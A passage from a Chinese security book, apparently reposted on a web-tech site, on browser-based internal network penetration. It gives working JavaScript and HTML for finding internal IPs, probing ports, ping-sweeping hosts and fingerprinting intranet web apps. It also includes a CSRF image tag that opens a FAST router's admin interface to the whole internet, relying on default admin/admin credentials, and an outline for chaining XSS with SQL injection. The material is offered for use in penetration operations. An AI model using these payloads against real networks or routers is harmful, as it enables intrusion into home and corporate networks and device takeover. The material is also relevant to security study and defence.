7.3 内网渗透技术
内网渗透是一门独立的学问,通过Web层面(主要是JavaScript)进行的内网渗透实际上是一种很浅的渗透,不过带来的威力有可能很大。下面介绍一些内网渗透技巧,也许能在某次渗透操作中帮上我们的大忙。
7.3.1 获取内网IP
目前,内网IP的获取还有一个比较好的方式,即通过Java Applet,但需要JRE支持。我们渗透的目标如果是专业的计算机或者安装了某些盗版的操作系统,基本上都会有JRE环境。下面的代码来自:http://reglos.de/myaddress/MyAd-dress.html页面。
<HEAD><TITLE>获取内网IP - Javascript</TITLE> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> </HEAD> <script> function MyAddress(ip){ document.getElementById('ip').innerHTML = ip; } </script> 内网IP:<br /> <div id="ip"></div> <APPLET CODE="MyAddress.class" MAYSCRIPT WIDTH=0 HEIGHT=0></APPLET>
MyAddress.class是Java Applet文件,功能就是通过Java获取内网地址,然后调用上层的JavaScript函数MyAddress,将获取到的IP显示出来。
7.3.2 获取内网IP端口
看看下面这段代码,Image对象请求时,得到资源后就触发onerror事件(因为这个资源不是正常的图片),得不到就进入timeout机制,通过这个原理来判断目标IP与端口是否存在,不过这个功能不太稳定,尤其是批量对一批IP端口进行请求时。
var m = new Image(); m.onerror = function () { if (!m) return; m = undefined; alert("open"); }; m.onload = m.onerror; m.src = 'http://' + host + ':' + port; setTimeout(function () { if (!m) return; m = undefined; alert("close"); }, 900);
除了这种方法,大家还可尝试通过跨域AJAX技巧或Web Socket方法实现IP端口的获取。
7.3.3 获取内网主机存活状态
主机存活状态的获取技巧很不错,本质是通过跨域AJAX请求进行的判断,比较稳定,这里整理出一个通用函数和相关说明,代码如下:
function _pingscan(url, timeout) { /* from: http://ha.ckers.org/weird/xhr-ping-sweep.html http://securethoughts.com/security/ie8xdr/ie8xdr-ping-sweep.html */ var d = new Date; if (window.XDomainRequest) { // IE 8、IE 9下 var req = new XDomainRequest(); req.onerror = fndprocessRequest; // 发生错误时表明目标存活 req.ontimeout = errprocessRequest; // 发生超时时表明目标不存活 req.timeout = timeout; // 设置超时值 function errprocessRequest() { alert(/down/); } function fndprocessRequest() { alert(/live/); } } else if (window.XMLHttpRequest) { var req = new XMLHttpRequest(); req.onreadystatechange = processRequest; function processRequest() { if (req.readyState == 4) { var d2 = new Date; var time = d2.getTime() - d.getTime(); if (time < timeout) { // 小于超时值 if (time > 10) { // 大于10毫秒,这个条件判断可以忽略 alert(/live/); // 在指定超时值之内请求完成,则表明存活 } } else { alert(/down/); // 否则不存活 } } } } else return; req.open("get", url); req.send();
7.3.4 开启路由器的远程访问能力
如今,很多家庭局域网使用的路由是FAST54M无线宽带路由器,如图7-5所示。它有一项“远程WEB管理”功能,如下:
默认的“远程WEB管理IP地址”是0.0.0.0,如图7-6所示。如果设置为255.255.255.255,则允许互联网上任意IP进行远程Web方式的管理,即通过浏览器登录这台FAST的外网IP,输入用户名与密码即可进行管理操作。而且很多时候用户没有修改FAST的默认用户名与密码(admin/admin),这对攻击者来说,只要想办法将“远程WEB管理IP地址”改为255.255.255.255即可。
图7-5 FAST 54M无线宽带路由器
图7-6 FAST 54M无线宽带路由器管理界面
那么如何进行?我们知道,真实的一次渗透总不会这么顺利。如果用户曾经通过浏览器登录过FAST进行管理,并且让浏览器记住登录会话,或者用户刚好登录FAST,这时被欺骗打开黑客构造的CSRF页面,页面的代码如下:
<img src=http://192.168.10.1/userRpm/ ManageControlRpm.htm?port=80&ip =255.255.255.255&Save=%B1%A3+%B4%E6>
这段代码会发起一次CSRF请求,将“远程WEB管理IP地址”设置为255.255.255.255,即可攻击成功。还有很多类似这样的Web管理界面存在CSRF漏洞,大家可以举一反三。
7.3.5 内网脆弱的Web应用控制
通过Referer有可能泄漏内网Web应用的地址,即通过对Referer的判断可能猜测出这个Web应用的类型,还可以通过fuzzing方式,猜测内网可能存在的Web应用。简单的原型代码如下:
<script> window.onerror=function(){ return true; }; function y(){ if(typeof(TracWysiwyg)=='function') alert('trac exist.'); } </script> <script src=https://192.168.1.2/trac/chrome/tracwysiwyg/wysiwyg. jsonload="y();" onreadystatechange="y();"></script>
onload在非IE下有效,onreadystatechange在IE下有效,当目标js文件加载完成后会执行y函数。y函数判断是否存在TracWysiwyg函数,如果存在,则认为目标Web应用Trac系统存在。通过这个原理,是可以模糊测试出目标Web应用的。常见的内网Web应用类型有:BBS、Blog、Trac、Wiki、OA、WebMail、项目管理、客服后台、存在漏洞的Web应用环境等。
模糊测试出来后,就是针对性地利用特定Web应用的漏洞进行攻击,比较有意思的是,如果目标存在SQL注入,JavaScript如何获取SQL注入的结果?可以通过XSS做一个中间代理,这就要求目标Web应用也存在一个XSS漏洞,JavaScript就可以利用这个XSS漏洞,通过AJAX方式间接提交SQL注入语句,然后获取返回值。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论